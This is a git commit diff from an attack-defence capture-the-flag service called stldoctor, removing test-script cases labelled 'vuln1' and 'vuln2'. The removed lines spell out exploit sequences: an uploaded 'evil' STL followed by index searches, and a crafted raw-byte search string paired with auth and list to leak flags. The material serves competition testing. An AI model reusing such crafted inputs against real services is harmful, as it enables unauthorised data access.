aboutsummaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
authorLouis Burda <quent.burda@gmail.com>2021-06-02 00:08:58 +0200
committerLouis Burda <quent.burda@gmail.com>2021-06-02 00:08:58 +0200
commit1218d049de7e380d6ea647a6074b66ce4962e45b (patch)
treeaa79785747cae11a02d13f060192a3727c4de886
parent988ab9c0a517e9bc37a6184a6a49a5acd71c86d3 (diff)
downloadenowars5-service-stldoctor-1218d049de7e380d6ea647a6074b66ce4962e45b.tar.gz
enowars5-service-stldoctor-1218d049de7e380d6ea647a6074b66ce4962e45b.zip
removed exploits from test script since already available in checker
-rw-r--r--.dockerignore1
-rw-r--r--checker/test.sh1
-rw-r--r--tests/test.sh76
3 files changed, 1 insertions, 77 deletions
diff --git a/.dockerignore b/.dockerignore
deleted file mode 100644
index 4baccb8..0000000
--- a/.dockerignore
+++ /dev/null
@@ -1 +0,0 @@
-patches
diff --git a/checker/test.sh b/checker/test.sh
index 65df496..d805d9d 100644
--- a/checker/test.sh
+++ b/checker/test.sh
@@ -3,6 +3,7 @@
ipstr="$1"
SCRIPTPATH="$(dirname $(readlink -f "$0"))"
+cd "$SCRIPTPATH"
export REVHASH_PATH="$SCRIPTPATH/src/revhash/revhash"
try() {
diff --git a/tests/test.sh b/tests/test.sh
index 4835024..159e435 100644
--- a/tests/test.sh
+++ b/tests/test.sh
@@ -97,82 +97,6 @@ elif [ "$1" == "stl-upload" ]; then
echo "$name"
) | checkleaks
-elif [ "$1" == "vuln1" ]; then
- cleanuploads
-
- announce "Testing Flagstore 1"
-
- echo -e "\n--- Uploading target STL ---\n" 1>&2
- (
- echo "echo"
- echo "upload"
- cat "$TESTDATA/flag1.stl" | wc -c
- cat "$TESTDATA/flag1.stl"
- echo "N0TaFL4G"
- echo "exit"
- ) | connect
-
- echo -e "\n--- Uploading evil STL ---\n" 1>&2
- (
- echo "echo"
- echo "upload"
- cat "$TESTDATA/evil1.stl" | wc -c
- cat "$TESTDATA/evil1.stl"
- echo "EV1L"
- echo "exit"
- ) | connect
-
- echo -e "\n--- Testing Exploit ---\n" 1>&2
- (
- echo "echo"
-
- # try index 0
- echo "search"
- echo "EV1L"
- echo "0"
- echo "n"
-
- echo "search last"
- echo "0"
- echo "n"
-
- # try index 1
- echo "search"
- echo -e "EV1L"
- echo "0"
- echo "n"
-
- echo "search last"
- echo "1"
- echo "n"
- echo "exit"
- ) | connect
-
-elif [ "$1" == "vuln2" ]; then
- cleanuploads
-
- announce "Testing Flagstore 2"
-
- echo -e "\n--- Uploading target STL ---\n" 1>&2
- (
- echo "echo"
- echo "auth test"
- echo "upload"
- cat "$TESTDATA/flag1.stl" | wc -c
- cat "$TESTDATA/flag1.stl"
- echo "N0TaFL4G"
- echo "exit"
- ) | connect
-
- echo -e "\n--- Testing Exploit ---\n" 1>&2
- (
- echo "echo"
- echo -e "search \xff\xff\xff\xff\xff0000000000000000"
- echo "auth"
- echo "list"
- echo "exit"
- ) | connect
-
elif [ "$1" == "auth-upload" ]; then
cleanuploads